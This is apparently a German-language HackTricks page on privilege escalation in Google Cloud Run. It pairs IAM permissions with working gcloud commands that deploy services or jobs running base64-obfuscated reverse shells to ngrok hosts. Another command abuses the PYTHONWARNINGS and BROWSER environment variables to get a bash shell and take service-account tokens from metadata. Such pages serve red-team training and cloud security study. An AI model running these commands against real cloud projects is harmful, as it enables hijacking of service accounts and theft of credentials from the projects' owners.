GCP - Run Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cloud Run
Für weitere Informationen zu Cloud Run siehe:
run.services.create
, iam.serviceAccounts.actAs
, run.routes.invoke
Ein Angreifer mit diesen Berechtigungen kann einen Run-Dienst erstellen, der beliebigen Code ausführt (beliebiger Docker-Container), ein Dienstkonto daran anhängen und den Code das Dienstkonto-Token aus den Metadaten exfiltrieren lassen.
Ein Exploit-Skript für diese Methode ist hier zu finden, und das Docker-Image ist hier zu finden.
Beachte, dass beim Einsatz von gcloud run deploy
anstelle der bloßen Erstellung des Dienstes die Berechtigung update
benötigt wird. Siehe ein Beispiel hier.
run.services.update
, iam.serviceAccounts.actAs
Wie der vorherige, aber zum Aktualisieren eines Dienstes:
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==
gcloud run deploy hacked \
--image=ubuntu:22.04 \ # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated
# If you don't have permissions to use "--allow-unauthenticated", dont use it
run.services.setIamPolicy
Geben Sie sich vorherige Berechtigungen über Cloud Run.
run.jobs.create
, run.jobs.run
, iam.serviceaccounts.actAs
,(run.jobs.get
)
Starten Sie einen Job mit einer Reverse-Shell, um das im Befehl angegebene Dienstkonto zu stehlen. Sie finden einen Exploit hier.
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1
run.jobs.update
,run.jobs.run
,iam.serviceaccounts.actAs
,(run.jobs.get
)
Ähnlich wie beim vorherigen ist es möglich, einen Job zu aktualisieren und das SA zu aktualisieren, den Befehl auszuführen:
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now
run.jobs.setIamPolicy
Geben Sie sich die vorherigen Berechtigungen über Cloud Jobs.
run.jobs.run
, run.jobs.runWithOverrides
, (run.jobs.get
)
Missbrauchen Sie die Umgebungsvariablen einer Jobausführung, um beliebigen Code auszuführen und eine Reverse-Shell zu erhalten, um den Inhalt des Containers (Quellcode) zu dumpen und auf die SA innerhalb der Metadaten zuzugreifen:
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.